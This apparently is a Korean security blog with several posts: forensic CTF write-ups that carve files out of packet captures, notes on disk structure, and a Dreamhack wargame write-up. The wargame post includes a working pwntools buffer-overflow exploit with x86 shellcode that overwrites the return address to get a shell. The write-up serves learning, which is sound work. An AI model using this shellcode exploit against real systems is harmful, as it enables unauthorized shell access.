제공받은 파일에서 key값을 찾아 md5 해쉬값을 얻으면 되는 모양이다.

확장자가 없는 파일 하나를 제공받았다.

일단 무작정 파일을 열어보니 그 안에서 HTTP 패킷같이 생긴 텍스트들이 여럿 발견되었고
문제 제목으로부터 network 관련된 것이라는 것을 참고하여 이를 Wireshark로 열어봤다.

그랬더니 기다렸다는 듯이 패킷들이 정렬되어 보여졌다!
(나중에 알고보니 이 파일의 signature가 0A 0D 0D 0A로 pcapng 파일의 것임을 알았다.)

.pcap 파일의 signature

 

나같은 경우는 패킷분석을 위해 Wireshark를 살펴볼 때 주로 제일 먼저 찾아보는 것이 Protocol Hierarchy Statistics 이다.

현재 이 파일 내에 잡힌 패킷들에 어떤 프로토콜이 얼마나 많이 쓰였는지를 한눈에 파악하기 좋기 때문이다.

여기서 이 창을 통해 발견한 것은 HTTP 프로토콜 밑에 Malformed Packet이 있다는 것이었는데,
Malformed Packet이란 패킷 파일이 손상되는 등의 문제로 제대로 보여지지 못하고 있는 경우를 말한다.
사실 패킷 분석하면서 이런 패킷이 있는 경우를 처음 봐서...무슨 일이 있었길래 이런 패킷이 있게 된건지 궁금해졌다.

그래서 해당 패킷의 Stream을 살펴보니.. 응답 패킷에 PNG 파일이 있다?
물론 PNG가 담길 수는 있는건데 왜 Malformed Packet이 표시가 뜬걸까

이 패킷은 HTTP 프로토콜을 사용하여 통신하다가 이런 오류가 생긴 것으므로 HTTP Stream에 어떤 문제가 생긴건지 좀 봐야겠어서 나머지 패킷들도 살펴봤다.

아까 그렇게 Malformed Packet 표시가 있던 패킷은 443번 패킷인데, 확실히 png 파일이 담긴 것은 맞는 것 같다.
파일 이름은 treasure1 이라고 한다.
그리고 그 밑에 이와 관련되어 있어 보이는 이름인 treasure2와 treasure3가 차례차례 보인다.
그런데 이 패킷들은 단순히 text/plain 형태이다.

우선 각 패킷 내에서 해당 파일들만 가져와 저장하여 빠르게 살펴봐야겠다.
(HTTP object list 하단의 preview를 이용하면 빠르게 파일들만 저장할 수 있다! 처음에 그것도 모르고 TCP stream 다 뒤져가면서 내려받았었던 기억이...)

내려받은 각 파일들을 HxD Editor로 열어봤다.

treasure1.png

그리고 treasure1.png 파일의 Signature가 잘 있는지 봤는데,
Header Signature인 89 50 4E 47 0D 0A 1A 0A 는 찾을 수 있었지만
Footer Signature인 49 45 4E 44 AE 42 60 82 는 찾을 수 없었다.
(File Signature 참고: http://forensic-proof.com/archives/323 )

이게 Malformed Packet의 원인이었던 것 같다. 이 파일만 실행시켰을 때에도 뭔가 매우 불편해보이는 이미지를 볼 수 있었다.

 

나머지 두 파일도 정체가 뭐길래 2, 3번의 이름이 붙은 것인지 봐야겠다.

treasure2
treasure3

treasure2에서 발견한 것은 수 많은 00 과 그 사이에 드물게 있던 몇몇 hex들이었고,
treasure3에서 발견한 것은 수 많은 00 과 그 끝에 있던 IEND, Footer Signature였다!

treasure2가 모두 0으로만 가득차있었더라면 버리고 3만 쓰고자 했을 수도 있었을텐데..ㅎ
중간에 있던 데이터들이 소중하게 보여서 모두 연결해보기로 했다.

Header Signature가 있던 treasure1을 제일 처음에 붙이고
Footer Signature가 있던 treasure3을 당연히 제일 마지막에 붙여야 할 것 이다.
남은 treasure2는 두 파일 사이에 위치시켰다.
HxD 에서 [도구] - [파일 도구] - [연결] 을 이용하면 파일을 손쉽게 연결시킬 수 있다.

이렇게 해서 연결한 파일에 .png 확장자를 붙여서 열면 key값이 담긴 이미지를 볼 수 있고, 이를 이용하여 해쉬값을 만들면 성공이다.

참고. md5 hash 구하는 코드 (.py)

더보기

import hashlib


key = b'[~~~insert key~~~]'
encode = hashlib.md5()
encode.update(key)
hash = encode.hexdigest()


print(hash)


++

위에서도 언급했던 건데.. 이것 때문에 엄청난 삽질을 해서 적어본다.


treasure1, 2, 3의 존재를 발견한 후에 이 파일을 내려받는 방식으로 TCP Stream의 패킷 내용을 RAW로 저장한 다음,
그 안에서 초반 ~ 0A 0D 0A 0D 까지를 싹 다 지운 데이터를 사용하여 이어붙이기를 반복했었다.
(이유는 이전에 어떤 다른 문제에서 그런식으로 패킷내용으로부터 데이터를 카빙하는 것을 보았기 때문)

근데 뭐가 문제인건지 그렇게 해서 이어붙이면 제대로된 파일이 만들어지지 않았다.
앞으로 자유롭게 손카빙 할 수 있을 정도의 실력이 되기 전까지는 가능한 preview...로 정신적 고통을 덜어야겠다ㅠ

문제 파일로는 .pcap 파일 하나가 주어졌다.
Gregory가 어떻게 죽임당하는지를 알아내야하는 문제이다.
문제에서는 Gregory가 전화벨을 듣고 나서 Betty와 만날 수 밖에 없다는 것을 알게되었는데, 이를 생각해보면 문제의 방법은 음성 파일과 같은 형식으로부터 알아낼 수 있을 것이라고 추측된다.

그래서 혹시 이 문제 파일에 그러한 파일이 존재할지를 찾아보고자 [Protocol Hierarchy Statistics]로 패킷을 분석한 결과 MMS 관련 파일이 통신에 사용된 것을 확인하였다. 이를 마우스 우클릭으로 필터적용시켜 관련 패킷들이 어떠한 것인지를 살펴보면 MP4 패킷을 찾을 수 있다.

 

이 패킷의 TCP Stream을 따라가보면 실제로 mp4 파일이 있는 것을 알 수 있고, 이 mp4 파일 안에 단서가 있을 것으로 추측된다.

MP4 파일만을 카빙해내기 위해 이 패킷을 별도로 저장한다.
MP4 파일을 카빙해낸 후 이를 직접 재생해봐야 하기 때문에 raw 형식으로 저장하도록 한다.

파일의 raw를 편집할 수 있는 HxD를 열어 MP4 파일의 시그니처를 찾는다.
MP4 file Signature : 00 00 00 18 66 74 79 70

파일을 MP4 파일인것처럼 만들기 위해 이 Signature 이전에 존재하는 모든 데이터를 지운다.
그 후 확장자를 MP4로 바꿔주면 방금 전 파일이 MP4 파일로 인식되면서 재생할 수 있는 동영상으로 바뀐다.

이를 재생시켜보면 주인공이 어떻게 죽임당할 수 있는지에 대해 알 수 있게 된다.

문제에서 주어진 파일은 .pcap 파일 하나이다.
일단 WireShark를 이용하여 이들이 만날 도시가 어디인지를 어떤 식으로 분석할 수 있을지 확인해보자.

이 문제에서 주인공은 Betty와 Gregory인데, 이들 간의 통신이 어떠한 방식으로 이루어졌는지는 곧바로 알 수 없는 상태이며, 육안으로 봤을 때는 TCP protocol이 많이 사용되고 있는 것을 알 수 있다.
이러한 상황에서 두 주인공 간의 통신 내용을 확인해야 그 안에서 만나기로 한 장소가 어딘지를 찾을 수 있을 것이다.

무작정 위 리스트를 찾기보다 패킷의 트래픽을 살펴보기 위해 [Statistics] - [Conversations] 메뉴를 이용하겠다.
여기서 TCP가 주로 사용되고 있으므로 이에 대한 분석이 도움이 될 것 같다.

전송된 바이트수를 기준으로 정렬했을 때 192.29.1.50의 1024 포트로 매우 많은 바이트의 통신이 이루어졌음을 알 수 있다.
이 부분을 Follow Stream 해보자.

이것을 보고 어떠한 정보를 알아낼 수 있겠는가(이러한 행위를 카빙이라고 한다더라)... 포렌식 초보는 그런것 할 줄 모른다^^..

패킷을 분석할 때 많이 사용하는 또 다른 도구로 NetworkMiner라는 것이 있다고 하여 이를 사용하여 다시 한 번 확인해보았다.
그리고 감사하게도 두 주인공의 대화내용까지 곧바로 확인할 수 있도록 다 분석해주었다ㅠㅜ

NetworkMiner 2.7.1

- NetworkMiner : 패킷에 존재하는 데이터들을 카빙, 정렬해주는 프로그램. 암호화된 패킷을 복구해준다.
(Free edition과 Professional edition이 존재한다. 여기서 사용한 것은 free edition이다.)

 대화 내용을 확인해보면 Betty가 이전 약속에서 노쇼를 했나보다. 그래서 새롭게 약속 장소를 알려주는데 이에 대한 힌트로 password와 DCC protocol의 SEND를 이용하여 어떤 파일을 보낸다.

- DCC(Direct Client-to-Client) : IRC protocol의 서브 프로토콜.
채팅에 사용되던 IRC protocol과 비슷하지만 조금 다르게, 파일 교환이나 비채팅 방식의 대화에서 주로 사용된다고 한다.
특히 여기서 사용된 DCC SEND의 경우 전송 형식은 다음과 같다.

DCC SEND <filename> <ip> <port> <file size>

이를 참고하면 Betty는 1024 포트로 819200 사이즈의 파일을 보낸 것이다.
1024 포트가 왠지 익숙한데, 이는 아까 Conversation 분석에서 가장 많은 바이트를 전송했던 포트 넘버였다.
그 포트로 전송된 내용 중에 819200 사이즈의 파일을 추출해보자.

다시 WireShark로 돌아와, 1024 포트에서 Follow Stream 하여 얻은 내용을 파일로 추출하기 위해 Raw 형식으로 바꾼 뒤에 819200 사이즈만큼을 선택하여 저장한다.

저장한 파일을 열어보면 파일의 Signature를 확인할 수 없어 어떤 형식의 파일인지 도통 알 수가 없다.
Betty가 password를 함께 보내줬던 것을 떠올려보면 이 password를 이용해야 파일 내용을 제대로 확인할 수 있을 것 같다.
비밀번호를 사용하는 방식의 암호화가 되어 있는 것 같은데..

초보는 도무지 알 길이 없어 도움의 손길을 받은 끝에..
이렇게 헤더 Signature가 없고 비밀번호와 연관되어 있다는 특징을 가진 경우는 TrueCrypt로 암호화된 파일일 가능성이 있다고 한다.

- TrueCrypt : 메모리에 보안영역을 생성하여 이곳에 자료를 저장하는 것으로 자료유출로 인한 피해를 막을 수 있게 하는 프로그램.
암호화된 파일을 비밀번호와 함께 mount 해서 로컬 디스크 드라이브에 접근하는 것 마냥 사용할 수 있게 해준다.

이미 이 파일은 암호화가 되어 있고 이를 주어진 password를 이용하여 mount 시키면 로컬 디스크 드라이브인 것 마냥 이 파일을 읽을 수 있게 된다. 당장 사용해보았다.

mount할 드라이브를 (아무거나) 선택한 뒤 Betty가 줬던 패스워드와 함께 mount시킨다.

AES 알고리즘으로 암호화가 되어있던 파일이었나보다.
이를 더블클릭하면 원본 파일을 확인할 수 있다.

약속 장소는 LAS VEGAS 였다. ㅎㅎ

웹서버 작업을 하면서 포트 설정도 하게 되는데,
이 때 내가 사용하려고 하는 포트 번호가 현재 사용 중인지의 여부를 확인할 방법이 필요하게 되었다.

# 해당 포트번호를 사용중인 프로세스 검색
$ sudo lsof -i :<포트번호>

# 프로세스 종료
$ sudo kill -TERM <PID>

프로세스 종료 시 kill -9 <PID> 를 사용하는 것을 종종 볼 수 있다.
이는 프로세스를 강제종료시키는 것과 비슷하게 정상적인 종료 프로세스를 거치지 않은 채로 갑자기 프로세스를 종료시키는 것이라서
사용중이던 메모리가 유실되거나 관련 작업들까지 제대로 종료되지 않는 문제가 발생할 수 있다.

따라서 보다 안전하게 종료시키려면 -TERM 옵션을 사용하는 것 등의 방법을 사용해야 한다고 한다.


참고 블로그
https://new93helloworld.tistory.com/138
https://www.lesstif.com/system-admin/unix-linux-kill-12943674.html

 

하드디스크 구조에 대해 공부한 것을 간단히 정리했다.

wikipedia.org

하드디스크를 크게 6가지 구성으로 나누면 다음과 같다.
1. 전원 커넥터(Power Connector) : 하드디스크에 전원을 공급하는 역할
2. 데이터 커넥터(IDE Connector) : 하드디스크와 컴퓨터 사이의 데이터를 송수신하는 역할
3. 헤드(Head) : 데이터를 읽는 역할.
4. 액츄에이터암(ActuatorArm) : 데이터를 읽을 위치로 헤드를 이동하는 역할
       헤드와 암은 플래터의 위아래 모두 존재할 수 있으며 한 쌍으로 생각할 수 있다.
5. 플래터(Platter) : 실제 데이터가 저장되는 곳
6. 스핀들(Spindle) : 플래터를 회전시키는 역할

이 중 데이터를 저장하는 곳인 플래터를 단면으로 살펴보면 다음과 같다.

wikipedia.org

A. 트랙 : 중심으로부터 같은 거리에 있는 섹터들의 모음. 원심 전체를 하나의 트랙이라고 한다.
B. 섹터 : 하드 드라이브의 최소 기억 단위이자 디스크 시스템에 데이터가 쓰여지거나 읽혀지는 물리적인 단위.
              트랙의 일부를 일정 단위로 자른 것.
              전통적으로 하드 디스크 드라이브(HDD)는 512byte, 신형 HDD(Advenced Format, AF)는 4096byte 섹터를 사용한다.
              섹터 헤더, 데이터 영역, 오류 정정 코드(ECC)로 이루어진다.
              - 섹터 헤더 : 디스크와 컨트롤러가 사용하는 정보(동기 바이트, 주소 식별 정보, 결함 플래그, 헤더 패리티 바이트)
              - 데이터 영역 : 기록된 사용자의 데이터
              - 오류 정정 코드(ECC) : 데이터에 유입될 수 있는 오류를 검사, 정정하는데 사용
C. 트랙 섹터 : 같은 구역에 있는 섹터의 집합
D. 클러스터 : 섹터를 일정한 단위로 묶어서 데이터의 입출력 단위로 사용하는 것. 기본 4096byte
              파일을 저장하도록 할당될 수 있는 가장 작은 논리 디스크 공간이므로, 만약 파일 크기에 비해 클러스터 크기가 크다면 그만큼의 디스크 공간이 낭비되게 된다. (이 때 낭비되는 공간을 slack space라고 한다.) 하지만 클러스터가 커질 경우 입출력 시 오버헤드와 단편화가 줄어들어 읽기 속도와 쓰기 속도 모두를 개선할 수 있다. 
              클러스터로 묶여있는 섹터들은 논리적으로 인접해있기 때문에 꼭 물리적으로 인접해있을 필요는 없다.

**
디스크 팩 : 보다 큰 용량의 데이터를 저장하기 위해 하나 이상의 플래터들을 모아 같은 중심축에 쌓아 놓은 것.
실린더 : 하나의 디스크 팩에서 반지름의 길이가 같은 위치에 있는 트랙들의 집합.
             아래 그림에서 3개의 플래터에 표시되어 있는 부분이 모두 하나의 실린더를 의미한다.
             일반적으로 데이터를 순차적으로 저장할 때 실린더 단위로 저장한다.

http://www.datarecoverytools.co.uk/2009/12/22/chs-lba-addressing-and-their-conversion-algorithms/

Slack Space

: 논리적인 크기와 물리적인 크기의 차이로 인해 낭비되는 공간

- 램 슬랙(RAM Slack) : 섹터에 할당하고 남은 비할당 영역. 섹터 크기보다 작은 파일이 할당될 경우 발생.
- 파일 슬랙(File Slack) 또는 드라이브 슬랙 : 클러스터에 할당하고 남은 비할당 영역. 
         하나의 클러스터 안에 여러 섹터가 존재할 때, 섹터 내에 남은 공간은 램 슬랙, 다른 남은 섹터가 있을 경우 이들을 파일 슬랙이라고 함.
- 볼륨 슬랙(Volume Slack) : 하드디스크를 논리 단위인 파티션으로 할당한 후 남는 영역.
- 파일시스템 슬랙(File System Slack) : 하드디스크를 논리 단위인 클러스터로 할당하고 남는 영역.
         볼륨 슬랙과 파일시스템 슬랙은 메모리를 원하는 단위로 나누고 남은 나머지. 파일을 할당하고 남은 것이 아님.

주소지정방식

각 섹터에 있는 데이터를 읽어오기 위해서는 해당 위치의 주소를 이용하여 접근해야한다.
이를 위해 섹터별로 가지고 있을 주소가 필요한데 이 주소를 지정하는 방식에 대한 논의이다.

1. CHS(Cylinder-Head-Sector) 방식
: 실린더, 헤드, 섹터의 물리적인 구조에 기반을 둔 방식.
실린더, 헤드, 섹터 각각의 위치가 지정되고 하드디스크 컨트롤러에 의해 그 위치로 이동하여 데이터를 읽는 것.
CHS(19, 2, 10)일 경우 2번째 헤드를 19번째 실린더, 10번째 섹터에 위치하도록 한다.
하드웨어 입출력 과정에 관여하는 BIOS에 한계가 있어 고용량 디스크에 사용되기 어려워 현재는 쓰이지 않는 방식이다.

2. LBA(Logical Block Addressing) 방식
: 각 섹터별로 논리적인 번호를 부여하는 방식. 
논리적인 번호와 해당 섹터의 위치 간 관계는 디스크 컨트롤러에서 관리한다.

섹터는 1부터 시작하기 때문에 LBA 주소가 0이라면 CHS 주소는 (0, 0, 1)이 된다.
LBA 주소가 1이라면 CHS주소는 (0, 0, 2)가 된다.

이를 이용하여 CHS와 LBA 간의 주소 변환 과정을 살펴보면 다음과 같다.

http://forensic-proof.com/archives/355

최근의 디스크들은 ZBR(Zone Bit Recording)이라고 하는 방식을 사용하는데, 이는 바깥쪽 트랙이 안쪽 트랙보다 길이가 더 길다는 점을 이용하여 바깥쪽 트랙에 더 많은 섹터를 할당하는 방식이다. 따라서 이러한 방식을 사용하는 디스크의 경우에는 CHS와 LBA 변환 시 트랙별로 섹터 갯수가 달라지는 것까지 고려해야할 것이다.

문제 정보

dreamhack.io 서버에서 작동하고 있는 서비스의 소스 코드와 바이너리가 주어질 때
이것의 취약점을 찾고 쉘을 획득해 flag를 얻는 문제
( https://dreamhack.io/wargame/challenges/2/ )

1. 코드 분석

int main(int argc, char *argv[]){
	char buf[0x80];

	initialize();

	printf("buf = (%p)\n", buf);
	scanf("%141s", buf);

	return 0;
}

main 코드만 가져왔다. 전체 코드가 궁금하면 직접 문제 파일을 확인해보면 된다.
0x80 크기를 갖는 buf 지역변수를 선언했고, 이 변수의 주소를 화면상에 보여준다.
그리고 곧바로 입력을 받는데, 최대 141개의 문자를 입력받을 수 있다. 이 코드로 쉘을 획득해야 된다.

2. 공격 시나리오

우선 쉘을 획득하기만 하면 그것을 이용하여 flag을 얻는 것은 간단하므로 쉘을 어떻게 획득할지만 생각해보면 된다.
이 문제에서 활용할 수 있는 것은 buf의 주소와 이 변수에 값을 입력할 수 있다는 것뿐이고, 그렇기 때문에 입력값을 조작하여 쉘을 실행시키도록 exploit을 작성하는 쪽으로 할 수밖에 없을 것 같다.

쉘을 얻으려면 쉘 코드를 실행하도록 해야 될 것 같다. 쉘 코드란 쉘을 실행하도록 하는 코드를 실행파일로 만들어놓은 것이고, 만들기 나름이겠지만 간단하게 25byte 내외의 문자열 형태로 얻을 수 있다.

여기서 또한 buf의 주소를 알 수 있으므로 buf에 쉘 코드를 저장한 뒤 RET 값을 buf의 주소로 변조시키면 프로그램 실행이 끝난 후 buf 주소에 있는 쉘 코드가 실행될 것임을 짐작할 수 있다.

3. Exploit 작성

from pwn import *

r = remote('host', port)

dest = r.recvuntil("buf = (")
dest = int(r.recv(10), 16)
sh = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

pay = sh + b"\x90" * (0x84-len(sh)) + p32(dest)

r.sendline(pay)
r.interactive()

(문제에 집중하기 위해 쉘 코드는 퍼온 것인데, 나중에 직접 만들어보는 것도 해봐야겠다.)
쉘 코드를 먼저 넣고 그 이후는 stack overflow 공격으로 RET값을 변조시키는 것과 동일하게 하면 된다.
여기서 다만 이전과 다른 점은 NOP Sled 기법이 등장했다는 것이다.

  • NOP Sled: NOP(\x90)은 아무것도 하지 않는 명령어인데, 이것을 실행시키기 원하는 부분의 앞 또는 뒤에 덧붙이는 것
  • 실행하고자 하는 부분의 정확한 주소 값을 얻어내기 어려울 경우 이것의 근방에 NOP을 덧붙여서, 그 부분에 접근할 수 있도록 하는 주소의 범위를 넓히기 위함이다. 정확한 주소 값을 몰라도 정해준 범위 안의 주소이기만 하면 NOP을 따라가다가 실행 명령 부분을 만났을 때 실행되도록 할 수 있어 exploit의 성공확률을 높여준다.

여기서는 정확한 buf의 주소를 알려주기 때문에 NOP Sled를 사용하지 않고도 풀 수 있지만.. 그리고 채운 문자가 NOP이라서 그렇지 사실 NOP Sled의 효과를 느끼기 미미하게 만든 exploit이긴 하지만, 나중에 주소를 정확히 알 수 없는 경우에는 유용하게 쓰일 기법일 것 같다.

이 밖에 문제 풀면서 삽질한 부분...

  1. recv()로 받아온 buf의 주소를 패킹하기 위해 int로 변환하는 함수: int(데이터, 바꾸고자 하는 진법)
    : 정수형으로 바꾸고는 싶은데 여기서 필요한 값은 16진수 int형이었다. 10진수 int형으로 형 변환할 때에는 단순히 int(데이터)만 해주면 되는데, 10진수가 아닌 다른 형태의 int형 데이터를 얻고 싶을 경우에는 두 번째 인자로 해당 진법을 적어주면 된다.!!!
  2. 쉘 코드가 단순히 쉘을 실행하도록 하는 명령의 코드라고는 하지만 모두 다 같은 것이 아니었다..
    쉘 코드를 입력시킬 함수를 어떤 것을 쓰느냐에 따라 달라질 수 있고, 환경에 따라 또 달라질 수 있는 것이었다.
    여기서는 특히 공백 같은 거에 예민한 scanf로 입력을 받기 때문에 이에 맞는 쉘 코드가 필요했다.
    이것도 모르고 다 같은 줄 알고 있다가... 삽질을 좀 많이 했었다..ㅜㅜ

4. Exploit 실행 및 결과

쉘이 잘 얻어지고 flag도 획득할 수 있었다고 한다.

+ Recent posts